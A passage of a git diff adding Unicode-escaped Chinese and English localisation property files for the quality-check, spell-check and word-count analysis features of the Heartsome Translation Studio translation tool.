+qa.preference.NonTranslationQAPage.cancelBtn = \u53d6\u6d88 + +# net.heartsome.cat.ts.ui.qa.preference, QAInstalPage.java +qa.preference.QAInstalPage.batchQA = \u5168\u5c40 +qa.preference.QAInstalPage.autoQA = \u81ea\u52a8 +qa.preference.QAInstalPage.tipLevel = \u7ea7\u522b +qa.preference.QAInstalPage.qaInstal = \u54c1\u8d28\u68c0\u67e5 +qa.preference.QAInstalPage.autoQaInstal = \u5f53\u6267\u884c\u5982\u4e0b\u64cd\u4f5c\u65f6\uff0c\u81ea\u52a8\u6267\u884c\u9009\u4e2d\u7684\u201c\u81ea\u52a8\u201d\u68c0\u67e5\u9879 +qa.preference.QAInstalPage.autoQaWhenApproval = \u6279\u51c6\u6587\u672c\u6bb5\u65f6 +qa.preference.QAInstalPage.autoQaWhenAddToDb = \u5b8c\u6210\u7ffb\u8bd1\u65f6 +qa.preference.QAInstalPage.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u8bbe\u7f6e\u754c\u9762\u56fe\u7247\u52a0\u8f7d\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.preference, QAPage.java +qa.preference.QAPage.notInclude = \u6392\u9664 +qa.preference.QAPage.content = \u4e0a\u4e0b\u6587\u5339\u914d +qa.preference.QAPage.fullMatch = \u5b8c\u5168\u5339\u914d +qa.preference.QAPage.locked = \u5df2\u9501\u5b9a +qa.preference.QAPage.paraConsistence = \u6587\u672c\u6bb5\u4e00\u81f4\u6027 +qa.preference.QAPage.sameSource = \u76f8\u540c\u6e90\u6587\u3001\u4e0d\u540c\u8bd1\u6587 +qa.preference.QAPage.sameTarget = \u76f8\u540c\u8bd1\u6587\u3001\u4e0d\u540c\u6e90\u6587 +qa.preference.QAPage.ignoreCase = \u5ffd\u7565\u5927\u5c0f\u5199 +qa.preference.QAPage.ignoreTag = \u5ffd\u7565\u6807\u8bb0 +qa.preference.QAPage.srcEqulTar = \u76ee\u6807\u4e0e\u6e90\u6587\u4e00\u81f4\u6027 +# net.heartsome.cat.ts.ui.qa.spellCheck, AspellChecker.java +qa.spellCheck.AspellChecker.tip1 = \u65e0\u6cd5\u542f\u52a8 ASpell\u3002\u8bf7\u786e\u8ba4\u5df2\u5b89\u88c5 ASpell\u3001\u5e76\u5df2\u6b63\u786e\u8bbe\u7f6e\u3002\u82e5\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5 Heartsome Translation Studio \u5e76\u91cd\u65b0\u8bbe\u7f6e ASpell\u3002 +qa.spellCheck.AspellChecker.log1 = [LOG] \u672a\u627e\u5230 Aspell \u7684\u914d\u7f6e\u6587\u4ef6 aspellConfigure.xml +qa.spellCheck.AspellChecker.log2 = [LOG] Aspell \u8bcd\u5178\u672a\u914d\u7f6e\u8fd0\u884c\u7a0b\u5e8f\u8def\u5f84\u6216\u672a\u914d\u7f6e\u76ee\u6807\u8bed\u8a00 \"{0}\" \u7684\u8bcd\u5178 +# net.heartsome.cat.ts.ui.qa.spellCheck, HashDictionary.java +qa.spellCheck.HashDictionary.tip1 = \u8bcd\u5178\u6587\u4ef6\u6709\u8bef\uff0c\u8bf7\u91cd\u65b0\u4e0b\u8f7d\u3002 +# net.heartsome.cat.ts.ui.qa.spellCheck, InternalSpellFilesConfiguration.java +qa.spellCheck.InternalSpellFilesConfiguration.tip1 = \u4e0d\u652f\u6301\u7684\u8bcd\u5178\u7f16\u7801\uff1a{0} +qa.spellCheck.InternalSpellFilesConfiguration.tip2 = {0}:{1} : \u7f3a\u5c11 {2} \u4fe1\u606f\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip3 = {0}:{1} : \u591a\u4f59\u7684\u4ee4\u724c\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip4 = {0}:{1} : \u91cd\u590d\u7684 TRY \u5b57\u7b26\u4e32\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip5 = {0}:{1} : \u91cd\u590d\u7684 SET \u5b57\u7b26\u4e32\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip6 = {0}:{1} : \u91cd\u590d\u7684\u590d\u5408\u6807\u5fd7\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip7 = {0}:{1} : \u91cd\u590d\u7684\u590d\u5408\u6700\u5c0f\u5b57\u7b26\u8bbe\u7f6e\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip8 = {0}:{1} : \u91cd\u590d\u7684 REP \u8868\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip9 = {0}:{1} : \u66ff\u6362\u8868\u4e2d\u7684\u6761\u76ee\u6570\u4e0d\u6b63\u786e\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip10 = {0}:{1} : \u8bfb\u53d6\u66ff\u6362\u8868\u65f6\u53d1\u73b0\u610f\u5916\u7684\u6587\u4ef6\u7ed3\u675f\u7b26\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip11 = {0}:{1} : \u66ff\u6362\u8868\u5df2\u635f\u574f\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip12 = {0}:{1} : \u7f3a\u5c11\u6a21\u5f0f/\u66ff\u6362\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip13 = {0}:{1} : \u672a\u77e5\u7684\u6807\u8bb0\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip14 = {0}:{1} : \u7f3a\u5c11 {2} \u4fe1\u606f\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip15 = {0}:{1} : \u524d\u540e\u7f00\u5b57\u7b26\u592a\u957f\uff1a{2} +qa.spellCheck.InternalSpellFilesConfiguration.tip16 = {0}:{1} : \u672a\u77e5\u7684\u590d\u5408\u6307\u793a\u7b26\u201c{2}\u201d\uff0c\u5728\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip17 = {0}:{1} : \u8bfb\u53d6 {2} \u65f6\u53d1\u73b0\u610f\u5916\u7684\u6587\u4ef6\u7ed3\u675f\u7b26\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip18 = {0}:{1} : \u6761\u76ee\u5df2\u635f\u574f\uff0c\u5e94\u8be5\u662f\u201c{2}\u201d\uff1a{3} +qa.spellCheck.InternalSpellFilesConfiguration.tip19 = {0}:{1} : \u6761\u76ee\u5df2\u635f\u574f\uff0c\u5e94\u8be5\u662f\u201c{2}\u201d\uff1a{3} +# net.heartsome.cat.ts.ui.qa.views, QAResultViewPart.java +qa.views.QAResultViewPart.columnTipLevel = \u7ea7\u522b +qa.views.QAResultViewPart.columnErrorLine = \u884c\u53f7 +qa.views.QAResultViewPart.columnQAType = \u7c7b\u578b +qa.views.QAResultViewPart.columnErrorTip = \u95ee\u9898 +qa.views.QAResultViewPart.columnFilePath = \u6587\u4ef6 +qa.views.QAResultViewPart.columnLangPair = \u8bed\u8a00\u5bf9 +qa.views.QAResultViewPart.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u52a0\u8f7d\u5931\u8d25\uff01 +qa.views.QAResultViewPart.log2 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\uff01 +# \u62fc\u5199\u68c0\u67e5\u7684\u65e5\u5fd7\u5e38\u91cf +qa.spellCheck.all.log1 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u8bfb\u53d6\u5f02\u5e38\uff01 +qa.spellCheck.all.log2 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u5199\u5165\u5f02\u5e38\uff01 +qa.spellCheck.all.log3 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u8bfb\u5199\u5f02\u5e38\uff01 +qa.spellCheck.all.log4 = [LOG] \u672a\u627e\u5230\u5185\u7f6e\u8bcd\u5178\u7684\u914d\u7f6e\u6587\u4ef6 dictionaries.xml +qa.spellCheck.all.log5 = [LOG] \u5185\u7f6e\u8bcd\u5178\u672a\u914d\u7f6e\u5f53\u524d\u8bed\u8a00\u7684\u68c0\u67e5 \"{0}\" + +qa.NumberOrTagConsisQAHandler.jobTitle1 = \u6570\u5b57\u4e00\u81f4\u6027 +qa.NumberOrTagConsisQAHandler.jobTitle2 = \u6807\u8bb0\u4e00\u81f4\u6027 + +preference.EquivalentPage.title = \u52a0\u6743\u7cfb\u6570 +preference.EquivalentPage.group = \u52a0\u6743\u7cfb\u6570 +preference.EquivalentPage.equiImgLbl = \u8bbe\u7f6e\u5728\u8ba1\u7b97\u52a0\u6743\u5b57\u6570\u65f6\uff0c\u5339\u914d\u7387\u5904\u4e8e\u4e0d\u540c\u533a\u95f4\u7684\u6587\u672c\u6bb5\u5bf9\u5e94\u7684\u52a0\u6743\u7cfb\u6570\uff1a +preference.EquivalentPage.matchLbl = \u5339\u914d\u7387\uff1a +preference.EquivalentPage.interEquivLbl = \u7b49\u6548\u7cfb\u6570\uff1a +preference.EquivalentPage.msgTitle = \u63d0\u793a +preference.EquivalentPage.msg1 = \u5339\u914d\u7387\u4e0d\u80fd\u4f4e\u4e8e {0}\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preference.EquivalentPage.msg2 = \u5185\u90e8\u91cd\u590d +preference.EquivalentPage.msg3 = \u4e0a\u4e0b\u6587\u5339\u914d +preference.EquivalentPage.msg4 = \u5b8c\u5168\u5339\u914d +preference.EquivalentPage.msg5 = \u7b49\u6548\u7cfb\u6570\u8f93\u5165\u9519\u8bef\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002\n\u7b49\u6548\u7cfb\u6570\u5e94\u4e3a 0~1.00 \u4e4b\u95f4\u7684\u6570\u5b57\uff0c\u6700\u591a\u4fdd\u7559 2 \u4f4d\u5c0f\u6570\u3002 +preference.FileAnalysisInstalPage.title = \u5b57\u6570\u5206\u6790 +preference.FileAnalysisInstalPage.faGroup = \u5b57\u6570\u5206\u6790 +preference.FileAnalysisInstalPage.faImgLbl = \u8ba1\u7b97\u6587\u672c\u6bb5\u5339\u914d\u7387\u65f6\uff1a +preference.FileAnalysisInstalPage.ignoreCaseBtn = \u5ffd\u7565\u5927\u5c0f\u5199 +preference.FileAnalysisInstalPage.ignoreTagBtn = \u5ffd\u7565\u6807\u8bb0 +preference.FileAnalysisInstalPage.minMacthLbl = \u6700\u4f4e\u5339\u914d\u7387\uff1a +preference.FileAnalysisInstalPage.contextLbl = \u4e0a\u4e0b\u6587\u6587\u672c\u6bb5\u6570\u91cf\uff1a +preference.FileAnalysisInstalPage.unitLbl = \ + +preference.FileAnalysisInstalPage.faFileGroup = \u5206\u6790\u62a5\u544a +preference.FileAnalysisInstalPage.faFileTip = \u5728\u5b57\u6570\u5206\u6790\u62a5\u544a\u4e2d\u5305\u542b\uff1a +preference.FileAnalysisInstalPage.faFileInterRepeate = \u5185\u90e8\u91cd\u590d +preference.FileAnalysisInstalPage.faFileInterMatch = \u5185\u90e8\u6a21\u7cca\u5339\u914d + +preference.NonTranslationQAPage.instalLbl = \u8bbe\u7f6e\u4e0d\u9700\u8981\u7ffb\u8bd1\u7684\u975e\u8bd1\u5143\u7d20\u5185\u5bb9\uff1a +preference.QAInstalPage.itemInstalLbl = \u9009\u62e9\u5728\u6267\u884c\u5168\u5c40\u54c1\u8d28\u68c0\u67e5\u65f6\u8981\u68c0\u67e5\u7684\u9879\u3002\n\n\u82e5\u8981\u5728\u5b8c\u6210\u7ffb\u8bd1\u6216\u6279\u51c6\u6587\u672c\u6bb5\u65f6\u81ea\u52a8\u68c0\u67e5\uff0c\u8bf7\u52fe\u9009\u76f8\u5e94\u7684\u68c0\u67e5\u9879\u540e\u9762\u7684\u201c\u81ea\u52a8\u201d\uff0c\u5e76\u9009\u62e9\u81ea\u52a8\u68c0\u67e5\u7b56\u7565\u3002\n\n\u201c\u9519\u8bef\u201d\u7ea7\u522b\u7684\u95ee\u9898\u4f1a\u5728\u81ea\u52a8 QA \u65f6\u5f39\u51fa\u63d0\u793a\u3001\u5e76\u5728\u7ed3\u679c\u4e2d\u5217\u51fa\uff1b\n\u800c\u201c\u8b66\u544a\u201d\u7ea7\u522b\u7684\u95ee\u9898\u4ec5\u4f1a\u5728\u7ed3\u679c\u4e2d\u5217\u51fa\u800c\u4e0d\u63d0\u793a\u3002\n +preference.QAPage.notIncludeLbl = \u6267\u884c\u54c1\u8d28\u68c0\u67e5\u65f6\uff0c\u5ffd\u7565\u5982\u4e0b\u6587\u672c\u6bb5\uff1a +preference.QAPage.paraConsisLbl = \u6587\u672c\u6bb5\u4e00\u81f4\u6027\u68c0\u67e5\u9009\u9879\uff1a +preference.QAPage.group = \u8bd1\u6587\u5b57\u6570\u9650\u5236 +preference.QAPage.tgtLengthSetLbl = \u8bd1\u6587\u7684\u5b57\u6570\u5141\u8bb8\u6bd4\u6e90\u6587\uff1a +preference.QAPage.minBtn = \u7f29\u77ed\uff1a +preference.QAPage.maxBtn = \u589e\u52a0\uff1a +preference.QAPage.msg1 = \u8bf7\u8f93\u5165\u8bd1\u6587\u5141\u8bb8\u7f29\u77ed\u7684\u5b57\u6570\u6bd4\u4f8b\u3002 +preference.QAPage.msg2 = \u8bd1\u6587\u5141\u8bb8\u7f29\u77ed\u7684\u5b57\u6570\u6bd4\u4f8b\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preference.QAPage.msg3 = \u8bf7\u8f93\u5165\u8bd1\u6587\u5141\u8bb8\u589e\u52a0\u7684\u5b57\u6570\u6bd4\u4f8b\u3002 +preference.QAPage.msg4 = \u8bd1\u6587\u5141\u8bb8\u589e\u52a0\u7684\u5b57\u6570\u6bd4\u4f8b\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 + +views.QAResultViewPart.deletWarnItem = \u5220\u9664\u8b66\u544a\u9879 +views.QAResultViewPart.deleteAllItem = \u6e05\u7a7a +views.QAResultViewPart.ignoreSpellItem = \u6dfb\u52a0\u5ffd\u7565...(\u672a\u5b9e\u73b0) +views.QAResultViewPart.msgTitle = \u63d0\u793a +views.QAResultViewPart.msg1 = \u5408\u5e76\u6253\u5f00\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 + +################################ 2012-08-29 robert \u6dfb\u52a0\uff0cEditProgressFA \u4e2d\u6f0f\u6389\u4e86\u4e00\u4e2a \u201c\u6587\u672c\u6bb5\u201d ################################ +qa.fileAnalysis.EditProgressFA.paragraph = \u6587\u672c\u6bb5 + +################################ 2012-09-28 robert \u6dfb\u52a0\uff0c\u672f\u8bed\u5e93\u4e0e\u62fc\u5199\u5b57\u5178\u672a\u8bbe\u7f6e\u65f6\u7684\u63d0\u793a ################################ +qa.TermConsistenceQA.addTip1 = \u8be5\u9879\u76ee\u672a\u8bbe\u7f6e\u672f\u8bed\u5e93\u3001\u6216\u672f\u8bed\u5e93\u65e0\u6cd5\u8fde\u63a5\uff0c\u65e0\u6cd5\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u3002\n\n1\u3001\u5982\u679c\u60a8\u8981\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\uff0c\u8bf7\u5148\u70b9\u51fb\u201c\u53d6\u6d88\u201d\u6309\u94ae\uff0c\u5e76\u786e\u8ba4\u5728\u9879\u76ee > \u9879\u76ee\u8bbe\u7f6e > \u672f\u8bed\u5e93\u4e2d\u8bbe\u7f6e\u672f\u8bed\u5e93\u3001\u4e14\u8be5\u672f\u8bed\u5e93\u53ef\u88ab\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\uff1b\n2\u3001\u5982\u679c\u60a8\u53ea\u662f\u672c\u6b21\u4e0d\u6253\u7b97\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\uff0c\u8bf7\u70b9\u51fb\u201c\u786e\u5b9a\u201d\u6309\u94ae\uff0c\u7ee7\u7eed\u6267\u884c\u5176\u4ed6\u54c1\u8d28\u68c0\u67e5\uff1b\n3\u3001\u5982\u679c\u60a8\u4ee5\u540e\u4e5f\u4e0d\u6253\u7b97\u8fdb\u884c\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u6216\u4e0d\u60f3\u770b\u5230\u6b64\u63d0\u793a\uff0c\u8bf7\u5148\u70b9\u51fb\u786e\u5b9a\u6216\u53d6\u6d88\uff0c\u7136\u540e\u5728\u5de5\u5177 > \u9009\u9879 > \u54c1\u8d28\u68c0\u67e5\u4e2d\uff0c\u53d6\u6d88\u9009\u4e2d\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u540e\u7684\u201c\u81ea\u52a8\u201d\u3002\n\n\u786e\u5b9a\u8981\u8df3\u8fc7\u672f\u8bed\u4e00\u81f4\u6027\u68c0\u67e5\u5e76\u7ee7\u7eed\u5417\uff1f +qa.SpellQA.addTip1 = \u76ee\u6807\u8bed\u8a00 {0} \u672a\u8bbe\u7f6e\u62fc\u5199\u68c0\u67e5\u8bcd\u5178\uff0c\u65e0\u6cd5\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\u3002\n\n1\u3001\u5982\u679c\u60a8\u8981\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\uff0c\u8bf7\u5148\u70b9\u51fb\u53d6\u6d88\u6309\u94ae\uff0c\u7136\u540e\u5728\u5de5\u5177 > \u9009\u9879 > \u54c1\u8d28\u68c0\u67e5 > \u62fc\u5199\u68c0\u67e5\u5668 > Aspell \u8fdb\u884c\u8bbe\u7f6e\u540e\u91cd\u8bd5\uff1b\n2\u3001\u5982\u679c\u60a8\u53ea\u662f\u672c\u6b21\u4e0d\u6253\u7b97\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\uff0c\u8bf7\u70b9\u51fb\u786e\u5b9a\u6309\u94ae\uff0c\u7ee7\u7eed\u6267\u884c\u5176\u4ed6\u54c1\u8d28\u68c0\u67e5\uff1b\n3\u3001\u5982\u679c\u60a8\u4ee5\u540e\u4e5f\u4e0d\u6253\u7b97\u8fdb\u884c\u62fc\u5199\u68c0\u67e5\u6216\u4e0d\u60f3\u770b\u5230\u6b64\u63d0\u793a\uff0c\u8bf7\u5148\u70b9\u51fb\u786e\u5b9a\u6216\u53d6\u6d88\uff0c\u7136\u540e\u5728\u5de5\u5177 > \u9009\u9879 > \u54c1\u8d28\u68c0\u67e5\u4e2d\uff0c\u53d6\u6d88\u9009\u4e2d\u62fc\u5199\u68c0\u67e5\u3002\n\n\u786e\u5b9a\u8981\u8df3\u8fc7\u62fc\u5199\u68c0\u67e5\u5e76\u7ee7\u7eed\u5417\uff1f +qa.TagConsistenceQA.addTip1 = \u8bd1\u6587\u4e2d\u591a\u51fa\u5982\u4e0b\u6807\u8bb0 {0}\u3002 +qa.TagConsistenceQA.addName1 = \u6807\u8bb0\u591a\u4f59 + +################################ 2012-10\uff0d16 ################################ +qa.FileAnalysisDialog.WordsFaTitle = \u5b57\u6570\u5206\u6790 +qa.FileAnalysisDialog.WordsFaMsg = \u5206\u6790\u9009\u4e2d\u6587\u4ef6\u7684\u6e90\u6587\u5b57\u6570 +qa.FileAnalysisDialog.TransPTitle = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.FileAnalysisDialog.TransPMsg = \u5206\u6790\u9009\u4e2d\u6587\u4ef6\u7684\u7ffb\u8bd1\u8fdb\u5ea6 +qa.FileAnalysisDialog.EditPTitle = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.FileAnalysisDialog.EditPMsg = \u5206\u6790\u9009\u4e2d\u6587\u4ef6\u7684\u6279\u51c6\u8fdb\u5ea6 +qa.BatchQADialog.desc = \u5bf9\u9009\u4e2d\u7684\u6587\u4ef6\u8fdb\u884c\u54c1\u8d28\u68c0\u67e5\u3002 + +################################ 2012-10-18 ################################ +dialog.TargetLengthSettingDialog.msgTitle = \u63d0\u793a + +################################ 2012-10-19 robert \u6dfb\u52a0 ################################ +qa.views.QAResultViewPart.addTip1 = \u54c1\u8d28\u68c0\u67e5\u5904\u7406\u7684\u6587\u4ef6\u4e2d\u5982\u4e0b\u6587\u4ef6:\n{0}\u5df2\u7ecf\u88ab\u6253\u5f00\uff0c\u65e0\u6cd5\u5408\u5e76\u6253\u5f00\uff0c\u8bf7\u5148\u5173\u95ed\u8fd9\u4e9b\u6587\u4ef6\u518d\u91cd\u8bd5\u3002 +qa.views.QAResultViewPart.addTip2 = \u6587\u4ef6 {0} \u5df2\u7ecf\u88ab\u5408\u5e76\u6253\u5f00\uff0c\u65e0\u6cd5\u518d\u6b21\u6253\u5f00\uff0c\u8bf7\u5148\u5173\u95ed\u540e\u91cd\u8bd5\u3002 +################################ 2012-11-09 robert \u6dfb\u52a0 ################################ +qa.fa.info.tm = \u8bb0\u5fc6\u5e93\uff1a +qa.fa.info.newWordMatch = \u6700\u4f4e\u5339\u914d\u7387\uff1a +qa.fa.info.fileSum = \u5206\u6790\u6587\u4ef6\u603b\u6570\uff1a +qa.fa.info.errorFiles = \u5206\u6790\u5931\u8d25\u6587\u4ef6\uff1a +qa.fa.info.createTime = \u62a5\u544a\u751f\u6210\u65f6\u95f4\uff1a + +preference.FileAnalysisInstalPage.tagPenalty = \u6807\u8bb0\u4e0d\u4e00\u81f4\u7f5a\u5206\uff1a + +################################ 2013-01-30 robert \u6dfb\u52a0\u62fc\u5199\u68c0\u67e5\u7c7b ################################ +qa.preference.SpellPage.groupSpellCheck = \u62fc\u5199\u68c0\u67e5\u5668 +qa.preference.SpellPage.imageLabel2 = \u6267\u884c\u54c1\u8d28\u68c0\u67e5\u65f6\uff0c\u4f7f\u7528\u5982\u4e0b\u62fc\u5199\u68c0\u67e5\u5668\uff1a +qa.preference.SpellPage.aspellBtn = Aspell +qa.preference.SpellPage.hunspellBtn = \u5185\u7f6e Hunspell \u62fc\u5199\u68c0\u67e5\u5668 + +qa.preference.SpellPage.realTimeSpellBtn = \u5b9e\u65f6\u62fc\u5199\u68c0\u67e5 +qa.preference.SpellPage.hunspellTab = \u5185\u7f6e Hunspell +qa.preference.SpellPage.aspellTab = Aspell +qa.preference.SpellPage.hunspellTab.label = \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u5ffd\u7565\u5982\u4e0b\u5185\u5bb9\uff1a +qa.preference.SpellPage.ignoreNontransBtn = \u975e\u8bd1\u5143\u7d20 +qa.preference.SpellPage.ignoreDigitalFirstBtn = \u9996\u5b57\u6bcd\u4e3a\u6570\u5b57\u7684\u5355\u8bcd +qa.preference.SpellPage.ignoreUpperCaseFirstBtn = \u9996\u5b57\u6bcd\u4e3a\u5927\u5199\u7684\u5355\u8bcd +qa.preference.SpellPage.ignoreAllUpperBtn = \u5168\u5927\u5199\u5355\u8bcd +qa.preference.SpellPage.aspellLogCheck = Aspell \u914d\u7f6e\u6587\u4ef6\u5df2\u635f\u574f\uff0c\u662f\u5426\u91cd\u65b0\u751f\u6210\uff1f + +qa.preference.SpellPage.title = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +qa.preference.SpellPage.groupParent = Aspell \u62fc\u5199\u68c0\u67e5\u5668 +qa.preference.SpellPage.imageLabel = \u8bbe\u7f6e Aspell \u7a0b\u5e8f\u7684\u8def\u5f84\uff0c\u5e76\u6dfb\u52a0\u8bed\u8a00\u4e0e\u8bcd\u5178\u7684\u914d\u5bf9\uff1a +qa.preference.SpellPage.lblPath = \u8def\u5f84\uff1a +qa.preference.SpellPage.btnBrowse = \u6d4f\u89c8(&B)... +qa.preference.SpellPage.btnUTF8 = \u4f7f\u7528 UTF-8 +qa.preference.SpellPage.lblDic = \u8bcd\u5178\uff1a +qa.preference.SpellPage.btnRefresh = \u5237\u65b0(&F) +qa.preference.SpellPage.lblLang = \u8bed\u8a00\uff1a +qa.preference.SpellPage.btnAdd = \u6dfb\u52a0(&A) +qa.preference.SpellPage.btnRemove = \u79fb\u9664(&R) +qa.preference.SpellPage.arrTableHeader1 = \u8bed\u8a00 +qa.preference.SpellPage.arrTableHeader2 = \u8bcd\u5178 +qa.preference.SpellPage.btnBrowse.Title = \u9009\u62e9 Aspell \u7a0b\u5e8f +qa.preference.SpellPage.msg1 = \u8bf7\u9009\u62e9\u8981\u79fb\u9664\u7684\u8bed\u8a00\u4e0e\u8bcd\u5178\u914d\u5bf9\u3002 +qa.preference.SpellPage.msg2 = \u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 + +qa.preference.SpellPage.LOG1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +qa.preference.SpellPage.LOG2 = [LOG] \u521b\u5efa aspellConfigure.xml \u6587\u4ef6\u5931\u8d25 +qa.preference.SpellPage.LOG3 = \u6587\u4ef6\u8bfb\u53d6\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\u3002 +qa.preference.SpellPage.LOG4 = [LOG] \u89e3\u6790 Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u6587\u4ef6\u5931\u8d25\u3002 +qa.preference.SpellPage.LOG5 = [LOG] \u5199\u5165 Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u5931\u8d25\u3002 +qa.preference.SpellPage.LOG6 = [LOG] Aspell \u914d\u7f6e\u6587\u4ef6 \u201caspellConfigure.xml\u201d \u5220\u9664\u5185\u5bb9\u5931\u8d25\u3002 + +################################ 2013-02-2 robert \u6dfb\u52a0 qa.spell.Hunspell ################################ +qa.spell.hunspell.notFindHunpsellConfigTip= \u65e0\u6cd5\u627e\u5230\u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u62fc\u5199\u68c0\u67e5\u65e0\u6cd5\u6267\u884c\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 +qa.spell.hunspell.hunspellConfigErrorTip= \u5185\u7f6e\u62fc\u5199\u68c0\u67e5\u5668\u7684\u914d\u7f6e\u6587\u4ef6\u635f\u574f\u3002\u8bf7\u91cd\u65b0\u5b89\u88c5\u8f6f\u4ef6\u3002 +qa.spell.hunspell.notFindHunspellLibTip= \u65e0\u6cd5\u627e\u5230 Hunspell \u7684\u8fd0\u884c\u5e93\u6587\u4ef6 \u201c{0}\u201d\u3002\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\uff0c\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 +qa.spell.hunspell.notFindDictionaryTip= \u8bed\u8a00 \u201c{0}\u201d \u8bcd\u5178\u6587\u4ef6\u4e0d\u5b58\u5728\u3002\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\uff0c\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 +qa.spell.hunspell.dicReadErrorTip= \u65e0\u6cd5\u8bfb\u53d6\u8bed\u8a00 \u201c{0}\u201d \u7684\u8bcd\u5178\u6587\u4ef6\u3002\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\uff0c\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u5b89\u88c5\u672c\u8f6f\u4ef6\u3002 + +qa.spell.hunspell.LOG.copyError= [LOG]\u590d\u5236\u8bed\u8a00\u6587\u4ef6\u81f3\u5de5\u4f5c\u7a7a\u95f4\u65f6\u51fa\u9519\u3002 + + + diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa_en.properties b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa_en.properties new file mode 100644 index 0000000..fc7ff04 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/resource/qa_en.properties @@ -0,0 +1,416 @@ +#\u9488\u5bf9\u6240\u6709\u54c1\u8d28\u68c0\u67e5\u7684\u672c\u5730\u5316 +qa.all.dialog.info = Message +qa.all.dialog.warning = Warning +qa.all.dialog.error = Error +qa.all.dialog.ok = OK +qa.all.dialog.cancel = Cancel +qa.all.dialog.index = No. +qa.all.qaError = [LOG] \u54c1\u8d28\u68c0\u67e5\u5931\u8d25 +qa.all.qa = QA +qa.all.tipLevel.error = Error +qa.all.tipLevel.warning = Warning +qa.all.qa.batchQA = Perform QA on your translation +qa.all.qaItem.SpaceOfParaCheck = Leading/trailing spaces +qa.all.qaItem.SpellQA = Spell check +qa.all.qaItem.TermConsistenceQA = Term consistency +qa.all.qaItem.ParagraphConsistenceQA = Segment consistency +qa.all.qaItem.NumberConsistenceQA = Numeral consistency +qa.all.qaItem.TagConsistenceQA = Tag consistency +qa.all.qaItem.NonTranslationQA = Non-translatable text +qa.all.qaItem.ParaCompletenessQA = Segment completeness +qa.all.qaItem.TgtTextLengthLimitQA = Target length limit +qa.all.tip.notXliff = The extension of the selected file {0} is not .hsxliff. Are you sure you want to continue? +qa.all.tip.openXliffError = Cannot read file {0} correctly and will be ignored. Are you sure you want to continue? +qa.all.log.openXmlError = Cannot read files correctly, please re-select files. 